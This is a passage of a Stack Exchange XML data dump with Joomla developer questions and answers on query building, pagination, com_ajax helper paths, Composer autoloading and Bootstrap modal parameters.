and upload it to your website's public_html folder.&lt;/li&gt;&#xA;&lt;li&gt;Unzip the package file.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://www.yoursitename.com/installation/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.yoursitename.com/installation/index.php&lt;/a&gt; and follow the installation procedures.&lt;/li&gt;&#xA;&lt;li&gt;Upgrade Helix Ultimate to 2.0.0 Alpha 3 (The download link: &lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-alpha.3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-alpha.3&lt;/a&gt;) and Joomla! to 4.0.0 Beta 6.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The above problem DOESN'T HAPPEN when following these steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download Joomla! in your website and update it to version 4 Beta 6.&lt;/li&gt;&#xA;&lt;li&gt;Download and install Helix Ultimate 2 Alpha 3 and set it as the default site template (&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-alpha.3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-alpha.3&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Download and install the free version of SP Page Builder (Lite version) (&lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-free&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/downloads/extension/sp-page-builder-free&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Import the database information of Helix Ultimate Quickstart Package to your website.&lt;/li&gt;&#xA;&lt;li&gt;Change your website's configuration.php file to match the information of the imported database.&lt;/li&gt;&#xA;&lt;li&gt;Update the SP Page Builder Database via the website's administrator control panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14842" LastActivityDate="2021-04-11T19:10:39.300" Title="Error “500 behavior::tabstate not found.” when trying to access SP Page Builder" Tags="|php|templates|extensions|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28815" PostTypeId="1" CreationDate="2021-01-24T03:08:55.277" Score="1" ViewCount="29" Body="&lt;p&gt;We want to use the id of users for our invoicing.&#xA;I've been able to display the user id field in lists and on the logout screen without any problems.&lt;/p&gt;&#xA;&lt;p&gt;However, we also need to be able to search users based on the id to match the invoice back to the user (Don't ask me why we're not just using names!).&lt;/p&gt;&#xA;&lt;p&gt;I've tried creating a custom html field, with content [user_id], but this field is not searchable.&lt;/p&gt;&#xA;&lt;p&gt;I've tried adding [user_id] to a normal text field, and making that searchable, but nothing is returned from the search.&lt;/p&gt;&#xA;" OwnerUserId="14843" LastEditorUserId="12352" LastEditDate="2021-01-24T22:34:22.087" LastActivityDate="2021-01-24T22:34:22.087" Title="How to search on user_id in cb user lists?" Tags="|user|search|community-builder|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28816" PostTypeId="1" AcceptedAnswerId="28817" CreationDate="2021-01-24T07:18:10.003" Score="2" ViewCount="195" Body="&lt;p&gt;I'm trying to use Joomla's com_ajax for my module by using this url : &lt;code&gt;index.php?option=com_ajax&amp;amp;module=MODNAME&amp;amp;method=MODMETHOD&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However my helper.php file is located under folder &lt;code&gt;modules/mod_modname/helper/&lt;/code&gt; while joomla's com_ajax is always trying to find the helper file in &lt;code&gt;modules/mod_modname/&lt;/code&gt; so it returned error :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; {&amp;quot;success&amp;quot;:false,&amp;quot;message&amp;quot;:&amp;quot;The file at mod_modname\/helper.php does&#xA;&amp;gt; not exist.&amp;quot;,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I tell the com_ajax the path of my helper.php file?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2021-01-24T07:55:32.067" LastActivityDate="2021-01-24T08:00:01.713" Title="Change the helper.php path for com_ajax" Tags="|joomla-3.x|module|com-ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28817" PostTypeId="2" ParentId="28816" CreationDate="2021-01-24T08:00:01.713" Score="3" Body="&lt;p&gt;You can't.&lt;/p&gt;&#xA;&lt;p&gt;The component looks for the helper like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$helperFile = JPATH_BASE . '/modules/mod_' . $module . '/helper.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$module&lt;/code&gt; is the name of your module.&lt;/p&gt;&#xA;&lt;p&gt;You will have to move the &lt;code&gt;helper.php&lt;/code&gt; to &lt;code&gt;modules/mod_modname&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-01-24T08:00:01.713" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28818" PostTypeId="2" ParentId="23857" CreationDate="2021-01-24T09:55:04.850" Score="0" Body="&lt;p&gt;I experienced a similar problem. Upon analyzing, I found that in my install.mysql.utf8.sql file, I had the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`dateofbirth` date NOT NULL DEFAULT '0000-00-00 00:00:00'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where as the date field in the database only needs dates, not minutes.. sec. etc as mentioned above.&lt;/p&gt;&#xA;&lt;p&gt;Issue was fixed after I updated the entry in my install file as mentioned below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`dateofbirth` date NOT NULL DEFAULT '0000-00-00'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12496" LastEditorUserId="12352" LastEditDate="2021-01-24T22:28:47.457" LastActivityDate="2021-01-24T22:28:47.457" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28819" PostTypeId="1" AcceptedAnswerId="28820" CreationDate="2021-01-26T13:15:19.433" Score="1" ViewCount="86" Body="&lt;p&gt;I did not found any guide on how to handle such queries in Joomla:&lt;/p&gt;&#xA;&lt;p&gt;I would like to select all items from db which are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Published&#xA;AND&#xA;(the publish up date is 0000-00-00 00:00:00 or smaller then datenow)&#xA;OR&#xA;(the publish down date is 0000-00-00 00:00:00 or larger then datenow)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to get all items that are published and datenow is within publish start / end date or when setted start/end values are not set.&lt;/p&gt;&#xA;&lt;p&gt;What I have so far is a simple query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where($db-&amp;gt;quoteName('published') . ' = 1 ');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('publish_up') . ' = ' . $db-&amp;gt;quote('0000-00-00 00:00:00'))&#xA;    -&amp;gt;orWhere($db-&amp;gt;quoteName('publish_up') . '&amp;lt;' . $db-&amp;gt;quote($date));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('publish_down') . ' = ' . $db-&amp;gt;quote('0000-00-00 00:00:00'))&#xA;    -&amp;gt;orWhere($db-&amp;gt;quoteName('publish_down') . '&amp;gt;' . $db-&amp;gt;quote($date));&#xA;        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far so good but in the end it builds up a query like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;FROM `tblname`&#xA;WHERE &#xA;(&#xA;(`published` = 1  AND `publish_up` = \'0000-00-00 00:00:00\') OR &#xA;(`publish_up`&amp;lt;\'2021-01-26 13:03:07\') OR `publish_down` = \'0000-00-00 00:00:00\') OR &#xA;(`publish_down`&amp;gt;\'2021-01-26 13:03:07\')&#xA;ORDER BY ordering ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla does not set or group the query as i need it, the first is AND and then everything else is OR.&lt;/p&gt;&#xA;&lt;p&gt;I'm sure its just a knowledge / syntax gap rather then a bug - but how is the correct way to write a proper query based on my needs?&lt;/p&gt;&#xA;&lt;p&gt;PS: DB table is from a custom component&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2021-01-26T23:45:22.343" LastActivityDate="2021-01-27T06:24:32.140" Title="Joomla Select from DB AND / OR grouping" Tags="|database|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28820" PostTypeId="2" ParentId="28819" CreationDate="2021-01-27T00:29:40.997" Score="2" Body="&lt;p&gt;Because &lt;code&gt;0000-00-00 00:00:00&lt;/code&gt; will always be less than the current datetime stamp, I am understanding your requirements as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;published = 1&#xA;AND&#xA;publish_up &amp;lt;= now&#xA;AND&#xA;(&#xA;    publish_down = 0000-00-00 00:00:00&#xA;    OR&#xA;    publish_down &amp;gt; now&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;where()&lt;/code&gt; has a default glue value of &lt;code&gt;AND&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;andWhere()&lt;/code&gt; has a default glue value of &lt;code&gt;OR&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To translate that to Joomla's querybuilder you would write:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;where(&#xA;        [&#xA;            $db-&amp;gt;quoteName('published') . ' = 1'),&#xA;            $db-&amp;gt;quoteName('publish_up') . ' &amp;lt;= ' . $db-&amp;gt;quote($date),&#xA;        ]&#xA;    )&#xA;    -&amp;gt;andWhere(&#xA;        [&#xA;            $db-&amp;gt;quoteName('publish_down') . ' = ' . $db-&amp;gt;quote('0000-00-00 00:00:00'),&#xA;            $db-&amp;gt;quoteName('publish_down') . ' &amp;gt; ' . $db-&amp;gt;quote($date)&#xA;        ]&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Your required logic perfectly aligns with the methods' default glues, so no glue declarations are necessary.&lt;/p&gt;&#xA;&lt;p&gt;Rendered SQL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE&#xA;(`published` = 1 AND `publish_up` &amp;lt;= '2021-01-26 13:03:07') AND&#xA;(`publish_down` = '0000-00-00 00:00:00' OR `publish_down` &amp;gt; '2021-01-26 13:03:07')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Chaining or not chaining the method calls does not impact the way that the sql is generated.  In other words, you don't gain or lose any parentheses from continuing or breaking a &amp;quot;chain&amp;quot; of method calls.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would be using &lt;code&gt;CURRENT_TIMESTAMP&lt;/code&gt; unless your &lt;code&gt;$date&lt;/code&gt; is not what I think it is.  Like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName('publish_up') . ' &amp;lt;= CURRENT_TIMESTAMP',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is &lt;a href=&quot;https://joomla.stackexchange.com/a/22980/12352&quot;&gt;another of my posts that delves into different combinations of where building syntax&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-01-27T06:24:32.140" LastActivityDate="2021-01-27T06:24:32.140" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28821" PostTypeId="1" CreationDate="2021-01-27T12:16:56.353" Score="2" ViewCount="1115" Body="&lt;p&gt;Please help me to add pagination (&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Pagination.Pagination.html#method_getLimitBox&quot; rel=&quot;nofollow noreferrer&quot;&gt;getLimitBox&lt;/a&gt;) to my table result.&#xA;I have for example 100 rows in my table and I want to show 10 page.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$formid=23;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;select(array('SubmissionId', 'Username', 'FormId','UserId'))&#xA;    -&amp;gt;from('#__rsform_submissions')&#xA;    -&amp;gt;where ('FormId='.$formid)&#xA;    -&amp;gt;order('Username ASC');&#xA;//$query-&amp;gt;setLimit('10');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;echo '&amp;lt;table&amp;gt;';&#xA;    ?&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt; &#xA;            &amp;lt;th&amp;gt;SubmissionId&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;Username&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;UserId&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;FormId&amp;lt;/th&amp;gt; &#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt; &#xA;    &amp;lt;?php&#xA;        foreach ($results as $row)&#xA;        {&#xA;            echo '&amp;lt;tr&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;SubmissionId . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;Username . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;UserId . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;FormId . ' &amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; I changed my code to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;&#xA;$lim    = $mainframe-&amp;gt;getUserStateFromRequest(&amp;quot;$option.limit&amp;quot;, 'limit', 10, 'int'); //I guess getUserStateFromRequest is for session or different reasons&#xA;$lim0   = JRequest::getVar('limitstart', 0, '', 'int');&#xA;&#xA;$db-&amp;gt;setQuery('SELECT SQL_CALC_FOUND_ROWS SubmissionId, Username, FormId,UserId FROM #__rsform_submissions WHERE FormId=23',$lim0, $lim);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;$db-&amp;gt;setQuery('SELECT FOUND_ROWS();');  //no reloading the query! Just asking for total without limit&#xA;&#xA;$pageNav = new JPagination( $db-&amp;gt;loadResult(), $lim0, $lim );&#xA;&#xA;echo '&amp;lt;table&amp;gt;';&#xA;    ?&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt; &#xA;            &amp;lt;th&amp;gt;SubmissionId&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;Username&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;UserId&amp;lt;/th&amp;gt; &#xA;            &amp;lt;th&amp;gt;FormId&amp;lt;/th&amp;gt; &#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt; &#xA;    &amp;lt;?php&#xA;        foreach ($results as $row)&#xA;        {&#xA;            echo '&amp;lt;tr&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;SubmissionId . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;Username . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;UserId . ' &amp;lt;/td&amp;gt;';&#xA;                echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;FormId . ' &amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;echo $pageNav-&amp;gt;getListFooter(  ); //Displays a nice footer&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works in &lt;strong&gt;custom module&lt;/strong&gt; next is okay.&lt;/p&gt;&#xA;&lt;p&gt;However, all not show in &lt;strong&gt;front page&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Article only first list start show when click next it is not show anything.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;strong&gt;other article&lt;/strong&gt; next page displays a &lt;strong&gt;404&lt;/strong&gt; error.&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="12352" LastEditDate="2021-01-30T19:43:49.347" LastActivityDate="2021-02-03T20:21:58.053" Title="How to add pagination in joomla custom php code?" Tags="|php|mysql|rsform|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28823" PostTypeId="2" ParentId="28821" CreationDate="2021-01-27T23:53:56.637" Score="3" Body="&lt;p&gt;You have the instruction in your code, but commented.&#xA;The query &lt;code&gt;setLimit()&lt;/code&gt; function requires two parameters:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$limit&lt;/code&gt;: the number of records to return, and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$offset&lt;/code&gt;: the first record you want to return, zero-based.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is the signature of the function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setLimit($limit = 0, $offset = 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please take notice that the parameter order is opposite that of mysql:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LIMIT [offset,] row_count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you will need to draw some pagination buttons&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo &amp;quot;&amp;lt;a href=&amp;quot;.JRoute::_(&amp;quot;index.php?page=1&amp;amp; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and so on, and figure out the &lt;code&gt;$offset&lt;/code&gt; parameter from that. JRoute omitted for clarity.&lt;/p&gt;&#xA;&lt;p&gt;I should add that you could also code your model extending &lt;code&gt;ListModel&lt;/code&gt;, and then you'd get pagination for free, courtesy of Joomla. To try and sell this better, consider that all of the above would run down to a call like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;pagination-&amp;gt;getListFooter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can find some info on &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla MVC Docs&lt;/a&gt; and sample code on &lt;a href=&quot;https://docs.joomla.org/Part_1:_The_Site_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla component tutorial&lt;/a&gt;, but ultimately it would be faster to just read how it's done in the core Joomla components, it's quicker, and you always learn something reading Joomla code.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2021-01-28T00:10:04.330" LastActivityDate="2021-01-28T00:10:04.330" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28824" PostTypeId="1" CreationDate="2021-01-29T10:29:49.063" Score="1" ViewCount="104" Body="&lt;p&gt;I am working on Joomla 3.9.24&#xA;I want to globally load my own composer Stack which resides in JPATH_ROOT/vendor&lt;/p&gt;&#xA;&lt;p&gt;I tried it with a plugin that just includes the autoload and a file for starting some classes but this doesn't work. I always get the message that functions are not valid.&lt;/p&gt;&#xA;&lt;p&gt;I assume the autoloader from Joomla is overwriting the autoloader from composer.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way, so I can access all the Composer libraries with the inclusion of a plugin?&lt;/p&gt;&#xA;&lt;p&gt;Background:&#xA;The Joomla is modified, and we integrate some 3rd party software.&lt;/p&gt;&#xA;&lt;p&gt;Edit Code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemComposer extends JPlugin&#xA;{&#xA;    function onAfterInitialise()&#xA;    {&#xA;&#xA;            require_once('/var/www/&amp;lt;path&amp;gt;/htdocs/vendor/autoload.php');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error Message: 0 Call to a member function input() on null´&lt;/p&gt;&#xA;&lt;p&gt;input() is from Illuminate\Http;&lt;/p&gt;&#xA;&lt;p&gt;The code I use works outside of Joomla, also the plugin works because I can do die('test') and the page only shows &amp;quot;test&amp;quot; afterwards.&lt;/p&gt;&#xA;&lt;p&gt;So my assumption is still that the Joomla autoloader doesn't let composer load the files. (otherwise I should get different errors)&lt;/p&gt;&#xA;" OwnerUserId="14862" LastEditorUserId="14862" LastEditDate="2021-02-04T14:03:59.540" LastActivityDate="2021-02-04T14:03:59.540" Title="Loading own Composer Stack" Tags="|plugin|composer|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28825" PostTypeId="1" CreationDate="2021-01-29T13:25:09.927" Score="3" ViewCount="761" Body="&lt;p&gt;First I want to thank @Lodder and @Irfan for the below code which helped out a lot. The code below will create a button that launches a native Joomla Bootstrap modal.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$modalTitle = 'myModal';&#xA;&#xA;$modalParams = array();&#xA;$modalParams['title']  = 'Modal title';&#xA;$modalParams['height'] = '100%';&#xA;$modalParams['width']  = '100%';&#xA;&#xA;$modalBody = '&amp;lt;p&amp;gt;Modal main text line 2&amp;lt;/p&amp;gt;';&#xA;$modalBody .= '&amp;lt;p&amp;gt;Modal main text line 2&amp;lt;/p&amp;gt;';&#xA;&#xA;$html = '&amp;lt;a href=&amp;quot;#modal-' . $modalTitle.'&amp;quot; data-toggle=&amp;quot;modal&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;Launch modal&amp;lt;/a&amp;gt;';&#xA;&#xA;echo $html .= JHtml::_('bootstrap.renderModal', 'modal-' . $modalTitle, $modalParams, $modalBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;My question is where can I find a complete set of the params that can be used?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So far I figured out with help from others that there are the following parameters. I would like to create a complete list and leave it here for everyone to find.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;['title'] // Not to be confused with $modalTitle as this defines the DOM element while ['title'] defines the title a visitor can see.&#xA;['height'] // Height of the modal&#xA;['width'] // Width of the modal&#xA;['url'] // Adds an Iframe inside the modal body this can work together with other modalBody content&#xA;['backdrop'] // true or false. Sets the dark background behind the modal&#xA;['animation'] // true or false. Allows the animation or not&#xA;['closebtn'] // true or false. Show or hide the closebtn&#xA;['keyboard'] // true or false. Allows closing the modal with the esc key&#xA;['footer'] // Optional markup for the modal footer&#xA;['bodyHeight'] // Sets the height of the body&#xA;['modalWidth'] // Another way to set the width&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I made the question, and I am still doing research so when I find new stuff I add it here.&lt;/p&gt;&#xA;&lt;p&gt;Tip: In some templates the heights are not being registered. For instance in Isis the admin template there will be a conflict between the &lt;code&gt;bodyHeight&lt;/code&gt; and the default css attached to &lt;code&gt;.modal-body&lt;/code&gt; this will require some custom css to make this work.&lt;/p&gt;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/5087&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/5087&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/24459647/struggling-with-the-jquery-bootstrap-version-of-joomlas-modal-window&quot;&gt;https://stackoverflow.com/questions/24459647/struggling-with-the-jquery-bootstrap-version-of-joomlas-modal-window&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15125/jlayout-recommended-usage&quot;&gt;JLayout recommended usage&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.techfry.com/joomla/adding-a-modal-to-joomla-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techfry.com/joomla/adding-a-modal-to-joomla-component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3920" LastEditorUserId="3920" LastEditDate="2021-01-29T13:52:25.630" LastActivityDate="2021-01-29T13:52:25.630" Title="JHtml::_('bootstrap.renderModal',,,); Joomla Bootstrap List of all parameters that can be used?" Tags="|joomla-3.x|bootstrap|modal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28826" PostTypeId="1" CreationDate="2021-01-30T02:58:26.637" Score="2" ViewCount="126" Body="&lt;p&gt;I am trying to intercept outgoing emails from joomla and reroute them to my email address for development and testing. Ideally I could set up a toggle under Global Configuration &amp;gt; Server &amp;gt; Email settings so that other non-developer teammates can control it easily as well, but the back end needs to be in place first.&lt;/p&gt;&#xA;&lt;p&gt;If there is a plugin or built in that handles this kind of thing, that would be great but I can't find it.&lt;/p&gt;&#xA;&lt;p&gt;I have read through and attempted the following (very old) solutions but I don't think it is going to work with 3.9. At least not without some tweaking:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/20965651/intercept-all-joomla-outgoing-emails-reroute-them-to-a-specified-address&quot;&gt;https://stackoverflow.com/questions/20965651/intercept-all-joomla-outgoing-emails-reroute-them-to-a-specified-address&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/15546270/joomla-mail-goes-to-spam-folder-how-to-add-text-plain-when-sending-html-email&quot;&gt;https://stackoverflow.com/questions/15546270/joomla-mail-goes-to-spam-folder-how-to-add-text-plain-when-sending-html-email&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/dongilbert/3237387&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I found a newer override solution, but I'm not sure it will work with core joomla email functions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/25092/override-jhtml-htmlhelper-class-methods&quot;&gt;Override JHtml (HTMLHelper) class methods&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2021-07-21T23:00:15.047" Title="Reroute all emails to developer / debug address" Tags="|joomla-3.x|development|overrides|emails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28828" PostTypeId="1" CreationDate="2021-01-30T14:18:13.937" Score="1" ViewCount="199" Body="&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th style=&quot;text-align: center;&quot;&gt;user&lt;/th&gt;&#xA;&lt;th style=&quot;text-align: center;&quot;&gt;SubmissionId&lt;/th&gt;&#xA;&lt;th style=&quot;text-align: center;&quot;&gt;FormId&lt;/th&gt;&#xA;&lt;th style=&quot;text-align: center;&quot;&gt;FieldName&lt;/th&gt;&#xA;&lt;th style=&quot;text-align: center;&quot;&gt;FieldValue&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;bob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;2&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;state&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;mystate1&lt;/strong&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;bob&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;2&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: center;&quot;&gt;16&lt;/td&gt;&#xA;&lt;td style=&quot;text-align: 